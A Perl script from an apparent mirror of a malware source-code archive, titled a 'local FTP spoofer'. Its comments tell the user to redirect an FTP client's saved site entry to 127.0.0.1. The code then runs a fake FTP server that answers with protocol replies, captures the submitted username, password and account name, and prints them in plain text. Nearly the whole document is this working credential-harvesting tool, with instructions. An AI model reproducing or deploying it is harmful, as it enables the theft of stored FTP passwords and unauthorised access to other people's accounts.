mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
73 lines
2.0 KiB
Plaintext
73 lines
2.0 KiB
Plaintext
# This is a simple tcp server that listens on port 21
|
|
# unless another is specified.
|
|
# The possible uses of this are;
|
|
# Ftp has no encryption for passwords and they are
|
|
# sent in plain text under the right conditions.
|
|
# Most ftp programs have a text file called <program-name>.ini
|
|
# which will store the info like site-name, user-name, encrypted
|
|
# password and account-name. Instead of trying to decrypt the
|
|
# password for each different application (ws_ftp etc)
|
|
# do this.
|
|
# Edit the <program-name>.ini
|
|
# Wherever there is a site-name change it to 127.0.0.1
|
|
# Start your this perl scipt
|
|
# Open your ftp program and click connect
|
|
|
|
# Most of this coding was already in the /perl/eg/ folder
|
|
# you can find the orginal version there ..
|
|
|
|
print "===========================\n";
|
|
print " Manicx local FTP spoofer\n";
|
|
print " www.infowar.co.uk/manicx/\n";
|
|
print "===========================\n";
|
|
|
|
($port) = @ARGV;
|
|
$port = 21 unless $port; # Are port is 21 unless specified
|
|
|
|
$AF_INET = 2;
|
|
$SOCK_STREAM = 1;
|
|
|
|
$sockaddr = 'S n a4 x8';
|
|
|
|
($name, $aliases, $proto) = getprotobyname('tcp');
|
|
if ($port !~ /^\d+$/) { ($name, $aliases, $port) = getservbyport($port, 'tcp');}
|
|
|
|
print "Port = $port\n";
|
|
|
|
$this = pack($sockaddr, $AF_INET, $port, "\0\0\0\0");
|
|
|
|
select(NS); $| = 1; select(stdout);
|
|
|
|
socket(S, $AF_INET, $SOCK_STREAM, $proto) || die "socket: $!";
|
|
bind(S,$this) || die "bind: $!";
|
|
listen(S,5) || die "connect: $!";
|
|
|
|
select(S); $| = 1; select(stdout);
|
|
|
|
print "Listening for connection..\n";
|
|
|
|
($addr = accept(NS,S)) || die $!;
|
|
|
|
print "Accept ok\n";
|
|
|
|
($af,$port,$inetaddr) = unpack($sockaddr,$addr);
|
|
@inetaddr = unpack('C4',$inetaddr);
|
|
|
|
print NS "220\n"; # We are ok for login (send username)
|
|
$user = <NS>;
|
|
print $user;
|
|
|
|
print NS "331\n"; # user ok send password
|
|
$pass = <NS>;
|
|
print $pass;
|
|
|
|
print NS "331\n"; # password ok send account
|
|
$acco = <NS>;
|
|
print $acco;
|
|
|
|
print NS "200\n"; # account ok send what you want.
|
|
|
|
$resp = <NS>;
|
|
print $resp;
|
|
|
|
print NS "451\n"; # bye bye baby |